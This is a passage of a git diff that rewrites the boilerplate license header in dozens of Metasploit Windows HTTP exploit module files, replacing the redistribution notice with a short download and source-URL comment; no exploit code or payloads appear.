a/modules/exploits/windows/http/ektron_xslt_exec.rb +++ b/modules/exploits/windows/http/ektron_xslt_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/ezserver_http.rb b/modules/exploits/windows/http/ezserver_http.rb index 30adf70d43..46be1bb2c6 100644 --- a/modules/exploits/windows/http/ezserver_http.rb +++ b/modules/exploits/windows/http/ezserver_http.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/fdm_auth_header.rb b/modules/exploits/windows/http/fdm_auth_header.rb index f258e776c6..62da010ed2 100644 --- a/modules/exploits/windows/http/fdm_auth_header.rb +++ b/modules/exploits/windows/http/fdm_auth_header.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_imc_mibfileupload.rb b/modules/exploits/windows/http/hp_imc_mibfileupload.rb index 3afb7999ff..a41f7332e9 100644 --- a/modules/exploits/windows/http/hp_imc_mibfileupload.rb +++ b/modules/exploits/windows/http/hp_imc_mibfileupload.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_mpa_job_acct.rb b/modules/exploits/windows/http/hp_mpa_job_acct.rb index 6e105ad234..ff6c348180 100644 --- a/modules/exploits/windows/http/hp_mpa_job_acct.rb +++ b/modules/exploits/windows/http/hp_mpa_job_acct.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_nnm_getnnmdata_hostname.rb b/modules/exploits/windows/http/hp_nnm_getnnmdata_hostname.rb index e8484df3cb..5e53dd931f 100644 --- a/modules/exploits/windows/http/hp_nnm_getnnmdata_hostname.rb +++ b/modules/exploits/windows/http/hp_nnm_getnnmdata_hostname.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_nnm_getnnmdata_icount.rb b/modules/exploits/windows/http/hp_nnm_getnnmdata_icount.rb index 03252cb3f4..ca0a81c5d3 100644 --- a/modules/exploits/windows/http/hp_nnm_getnnmdata_icount.rb +++ b/modules/exploits/windows/http/hp_nnm_getnnmdata_icount.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_nnm_getnnmdata_maxage.rb b/modules/exploits/windows/http/hp_nnm_getnnmdata_maxage.rb index d331f13ed8..22cd5f9132 100644 --- a/modules/exploits/windows/http/hp_nnm_getnnmdata_maxage.rb +++ b/modules/exploits/windows/http/hp_nnm_getnnmdata_maxage.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb index 3872d74a62..4f41ed16ee 100644 --- a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb +++ b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb index bf395831ef..fad74aafd9 100644 --- a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb +++ b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_nnm_openview5.rb b/modules/exploits/windows/http/hp_nnm_openview5.rb index 4e432e6257..cc40d76561 100644 --- a/modules/exploits/windows/http/hp_nnm_openview5.rb +++ b/modules/exploits/windows/http/hp_nnm_openview5.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb b/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb index 821eb37a90..96f1cb3d2a 100644 --- a/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb +++ b/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_nnm_ovas.rb b/modules/exploits/windows/http/hp_nnm_ovas.rb index dde9f0a9a5..c2f655aa13 100644 --- a/modules/exploits/windows/http/hp_nnm_ovas.rb +++ b/modules/exploits/windows/http/hp_nnm_ovas.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## =begin diff --git a/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb b/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb index c8bef9b967..2b9b2dd6c3 100644 --- a/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb +++ b/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_nnm_ovwebhelp.rb b/modules/exploits/windows/http/hp_nnm_ovwebhelp.rb index 7009e697e8..3956923c13 100644 --- a/modules/exploits/windows/http/hp_nnm_ovwebhelp.rb +++ b/modules/exploits/windows/http/hp_nnm_ovwebhelp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb index 20bf6b07a8..8f9c044071 100644 --- a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb +++ b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb index 4db9250a44..b1e2c9760c 100644 --- a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb +++ b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb index b08d0aeba2..57aa420763 100644 --- a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb +++ b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_nnm_snmp.rb b/modules/exploits/windows/http/hp_nnm_snmp.rb index 3a8498f453..4eb2b9eb40 100644 --- a/modules/exploits/windows/http/hp_nnm_snmp.rb +++ b/modules/exploits/windows/http/hp_nnm_snmp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb b/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb index eb1c6c2504..5c9cd4774e 100644 --- a/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb +++ b/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_nnm_toolbar_01.rb b/modules/exploits/windows/http/hp_nnm_toolbar_01.rb index 520b712ca8..c0955e770e 100644 --- a/modules/exploits/windows/http/hp_nnm_toolbar_01.rb +++ b/modules/exploits/windows/http/hp_nnm_toolbar_01.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_nnm_toolbar_02.rb b/modules/exploits/windows/http/hp_nnm_toolbar_02.rb index bbb1fb7e60..53c3411cff 100644 --- a/modules/exploits/windows/http/hp_nnm_toolbar_02.rb +++ b/modules/exploits/windows/http/hp_nnm_toolbar_02.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb index 204fa7f374..304f5a0656 100644 --- a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb +++ b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb b/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb index b68f64c8c4..8beb6f167e 100644 --- a/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb +++ b/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_openview_insight_backdoor.rb b/modules/exploits/windows/http/hp_openview_insight_backdoor.rb index 869c835197..48776c9ff8 100644 --- a/modules/exploits/windows/http/hp_openview_insight_backdoor.rb +++ b/modules/exploits/windows/http/hp_openview_insight_backdoor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb index fe9cd6053e..55377a6512 100644 --- a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb +++ b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb index 662990ed3a..ea2a887a49 100644 --- a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb +++ b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_power_manager_filename.rb b/modules/exploits/windows/http/hp_power_manager_filename.rb index 09eeefd669..eade215fc9 100644 --- a/modules/exploits/windows/http/hp_power_manager_filename.rb +++ b/modules/exploits/windows/http/hp_power_manager_filename.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_power_manager_login.rb b/modules/exploits/windows/http/hp_power_manager_login.rb index fb5f0942a4..5e35f24acd 100644 --- a/modules/exploits/windows/http/hp_power_manager_login.rb +++ b/modules/exploits/windows/http/hp_power_manager_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb index 03f932c990..ba52eb6904 100644 --- a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb +++ b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/httpdx_handlepeer.rb b/modules/exploits/windows/http/httpdx_handlepeer.rb index 9397619578..ddc21fc8d5 100644 --- a/modules/exploits/windows/http/httpdx_handlepeer.rb +++ b/modules/exploits/windows/http/httpdx_handlepeer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## ## diff --git a/modules/exploits/windows/http/httpdx_tolog_format.rb b/modules/exploits/windows/http/httpdx_tolog_format.rb index de8d02eda5..ad74759f42 100644 --- a/modules/exploits/windows/http/httpdx_tolog_format.rb +++ b/modules/exploits/windows/http/httpdx_tolog_format.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/ia_webmail.rb b/modules/exploits/windows/http/ia_webmail.rb index 4527c78e80..ce32f025cd 100644 --- a/modules/exploits/windows/http/ia_webmail.rb +++ b/modules/exploits/windows/http/ia_webmail.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb b/modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb index 296fed1c1f..06e2712d6d 100644 --- a/modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb +++ b/modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/ibm_tpmfosd_overflow.rb b/modules/exploits/windows/http/ibm_tpmfosd_overflow.rb index 978378356e..5f0a4c8e3b 100644 --- a/modules/exploits/windows/http/ibm_tpmfosd_overflow.rb +++ b/modules/exploits/windows/http/ibm_tpmfosd_overflow.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/ibm_tsm_cad_header.rb b/modules/exploits/windows/http/ibm_tsm_cad_header.rb index 3107f91fa5..fa138da21b 100644 --- a/modules/exploits/windows/http/ibm_tsm_cad_header.rb +++ b/modules/exploits/windows/http/ibm_tsm_cad_header.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/icecast_header.rb b/modules/exploits/windows/http/icecast_header.rb index 593374f436..dea3fccae3 100644 --- a/modules/exploits/windows/http/icecast_header.rb +++ b/modules/exploits/windows/http/icecast_header.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/integard_password_bof.rb b/modules/exploits/windows/http/integard_password_bof.rb index 591ff2a922..5898f74a2e 100644 --- a/modules/exploits/windows/http/integard_password_bof.rb +++ b/modules/exploits/windows/http/integard_password_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/http/intersystems_cache.rb b/modules/exploits/windows/http/intersystems_cache.rb index 60106a48c0..cb161e5705 100644 --- a/modules/exploits/windows/http/intersystems_cache.rb +++ b/modules/exploits/windows/http/intersystems_cache.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb index ff1b00ca6e..48dc15bc41 100644 --- a/modules/exploits/windows/http/intrasrv_bof.rb +++ b/modules/exploits/windows/http/intrasrv_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/http/ipswitch_wug_maincfgret.rb b/modules/exploits/windows/http/ipswitch_wug_maincfgret.rb index 75ad9e7a55..b786e924f3 100644 --- a/modules/exploits/windows/http/ipswitch_wug_maincfgret.rb +++ b/modules/exploits/windows/http/ipswitch_wug_maincfgret.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/kolibri_http.rb b/modules/exploits/windows/http/kolibri_http.rb index 72fe4477e1..43d201dbcb 100644 --- a/modules/exploits/windows/http/kolibri_http.rb +++ b/modules/exploits/windows/http/kolibri_http.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/landesk_thinkmanagement_upload_asp.rb b/modules/exploits/windows/http/landesk_thinkmanagement_upload_asp.rb index 4fd7077907..b1fd3b5d42 100644 --- a/modules/exploits/windows/http/landesk_thinkmanagement_upload_asp.rb +++ b/modules/exploits/windows/http/landesk_thinkmanagement_upload_asp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/mailenable_auth_header.rb b/modules/exploits/windows/http/mailenable_auth_header.rb index 06abccf1cb..a695efa0b7 100644 --- a/modules/exploits/windows/http/mailenable_auth_header.rb +++ b/modules/exploits/windows/http/mailenable_auth_header.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/manageengine_apps_mngr.rb b/modules/exploits/windows/http/manageengine_apps_mngr.rb index ee1ac34c15..d8ea39f981 100644 --- a/modules/exploits/windows/http/manageengine_apps_mngr.rb +++ b/modules/exploits/windows/http/manageengine_apps_mngr.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/maxdb_webdbm_database.rb b/modules/exploits/windows/http/maxdb_webdbm_database.rb index 650254bd50..d4704ae164 100644 --- a/modules/exploits/windows/http/maxdb_webdbm_database.rb +++ b/modules/exploits/windows/http/maxdb_webdbm_database.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/maxdb_webdbm_get_overflow.rb b/modules/exploits/windows/http/maxdb_webdbm_get_overflow.rb index 0e020bf341..6c516838fa 100644 --- a/modules/exploits/windows/http/maxdb_webdbm_get_overflow.rb +++ b/modules/exploits/windows/http/maxdb_webdbm_get_overflow.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/mcafee_epolicy_source.rb b/modules/exploits/windows/http/mcafee_epolicy_source.rb index 478d4b4d8d..1bb9a52884 100644 --- a/modules/exploits/windows/http/mcafee_epolicy_source.rb +++ b/modules/exploits/windows/http/mcafee_epolicy_source.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb b/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb index 9018f67ba2..3cfbb9a2a6 100644 --- a/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb +++ b/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/minishare_get_overflow.rb b/modules/exploits/windows/http/minishare_get_overflow.rb index 82c4527eb2..00be1719f9 100644 --- a/modules/exploits/windows/http/minishare_get_overflow.rb +++ b/modules/exploits/windows/http/minishare_get_overflow.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/http/miniweb_upload_wbem.rb b/modules/exploits/windows/http/miniweb_upload_wbem.rb index 93c2446064..938a47a148 100644 --- a/modules/exploits/windows/http/miniweb_upload_wbem.rb +++ b/modules/exploits/windows/http/miniweb_upload_wbem.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial 